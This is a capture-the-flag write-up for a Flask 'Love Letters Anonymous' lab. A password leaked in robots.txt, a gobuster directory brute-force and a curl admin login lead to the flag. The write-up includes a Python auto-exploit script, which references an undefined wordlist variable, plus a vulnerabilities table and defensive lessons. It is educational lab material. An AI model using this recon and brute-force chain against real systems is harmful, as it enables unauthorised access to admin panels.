Overview
A Valentine's Day themed web application called "Love Letters Anonymous" running on a Flask backend. Intelligence hints that "Cupid may have unintentionally left vulnerabilities in the system." The objective: breach the secret vault and retrieve the hidden flag.
The attack chain is straightforward — robots.txt information disclosure leads to a hidden vault path and a leaked password. Directory brute-forcing reveals an admin panel. Credential stuffing completes the kill chain.
Initial Recon — robots.txt
The first step in any web assessment is checking robots.txt. This file is meant to instruct crawlers which paths to skip — but it also reveals hidden paths to attackers.
GET http://10.49.169.158:5000/robots.txt
User-agent: *
Disallow: /cupids_secret_vault/*
# cupid_arrow_2026!!!
Two critical pieces of information immediately exposed:
1. Hidden path: /cupids_secret_vault/ — a secret directory not linked from the main application.
2. Plaintext password: cupid_arrow_2026!!! — left in a comment by the developer ("Cupid").
This is a credential leak via robots.txt — a severe misconfiguration. The file is public, unauthenticated, and indexed by every crawler on the internet.
Navigating the Vault
With the hidden path in hand, the vault landing page was accessed directly. The page hinted that there was more to discover beyond the landing itself.
GET http://10.49.169.158:5000/cupids_secret_vault/
Directory Brute-Force
To find sub-paths beneath /cupids_secret_vault/, Gobuster was deployed with SecLists' big.txt wordlist:
gobuster dir \ -u http://10.49.169.158:5000/cupids_secret_vault/ \ -w /usr/share/seclists/Discovery/Web-Content/big.txt \ -t 20
/administrator (Status: 200) [Size: 2381]
An admin login panel discovered at /cupids_secret_vault/administrator — hidden via security through obscurity and not linked anywhere in the application.
Admin Login — Credential Stuffing
The admin panel presented a standard login form. Using the credentials leaked in robots.txt:
curl -s -X POST http://10.49.169.158:5000/cupids_secret_vault/administrator \ --data-urlencode "username=admin" \ --data-urlencode "password=cupid_arrow_2026!!!"
The admin dashboard returned containing the flag.
Attack Chain
/cupids_secret_vault/* and password cupid_arrow_2026!!!/cupids_secret_vault/ — confirmed hidden directory exists/cupids_secret_vault/administrator via big.txt wordlistadmin:cupid_arrow_2026!!! → Admin Dashboard → THM{l0v3_is_in_th3_r0b0ts_txt}Vulnerabilities
| # | Vulnerability | Severity | Location |
|---|---|---|---|
| 1 | Credentials in robots.txt | Critical | /robots.txt |
| 2 | Hidden admin panel (security through obscurity) | High | /cupids_secret_vault/administrator |
| 3 | No brute-force protection on login | Medium | /cupids_secret_vault/administrator |
| 4 | Framework/version disclosure | Low | All responses — Werkzeug/3.1.5 Python/3.10.12 |
| 5 | Werkzeug console endpoint exposed | Low | /console — returns 400 not 404 |
Auto-Exploit Script
Full automation of the attack chain in Python — fetches robots.txt, extracts the leaked path and password, brute-forces subdirectories, POSTs credentials, and captures the flag. Accepts custom targets, wordlists, and usernames via CLI args.
#!/usr/bin/env python3 """ Hidden Deep Into my Heart — CTF Auto-Exploit TryHackMe | by 0xb0rn3 Attack chain: 1. Fetch /robots.txt -> extract hidden path + leaked password 2. Brute-force subdirs under the vault path via wordlist 3. POST credentials to the admin panel 4. Extract and print the flag """ import re, sys, argparse, requests from urllib.parse import urljoin def fetch_robots(session, base_url): """Fetch robots.txt — extract disallowed paths + secrets.""" url = urljoin(base_url, "/robots.txt") r = session.get(url, timeout=10) disallowed = re.findall(r"(?i)^Disallow:\s*(.+)$", r.text, re.MULTILINE) comments = re.findall(r"#\s*(.+)", r.text) return disallowed, comments def bruteforce_path(session, base_url, vault_path, wordlist=None): """Brute-force sub-paths; return first 200 hit.""" target = urljoin(base_url, vault_path + "/") words = FALLBACK_WORDLIST for word in words: url = urljoin(target, word) r = session.get(url, timeout=8) if r.status_code == 200: return url return None def login_and_get_flag(session, admin_url, username, password): """POST credentials — extract flag via regex.""" payload = {"username": username, "password": password} r = session.post(admin_url, data=payload, timeout=10) flag = re.search(r"((?:THM|FLAG|CTF|HTB)\{[^}]+\})", r.text) return flag.group(1) if flag else None
# Default target python3 exploit.py # Custom target + wordlist python3 exploit.py http://TARGET:5000 -w /usr/share/seclists/Discovery/Web-Content/big.txt # Output: [+] Disallowed paths found: ['/cupids_secret_vault'] [+] Leaked password candidate: cupid_arrow_2026!!! [+] Found: .../cupids_secret_vault/administrator ======================================================= FLAG CAPTURED: THM{l0v3_is_in_th3_r0b0ts_txt} =======================================================
Lessons & Takeaways
Never put secrets in robots.txt. It is a public, unauthenticated file. Comments are visible to everyone.
Obscurity is not security. Hidden paths without auth are trivially discovered with directory brute-forcing.
Protect admin panels with rate limiting, CAPTCHA, MFA, and ideally IP allowlisting.
Remove debug endpoints like Werkzeug's /console and sanitize Server headers before deploying.
Tools Used
| Tool | Purpose |
|---|---|
curl | HTTP requests, login form submission |
gobuster | Directory brute-force enumeration |
SecLists big.txt | Wordlist for directory discovery |
exploit.py | Full-chain automated exploit (Python 3) |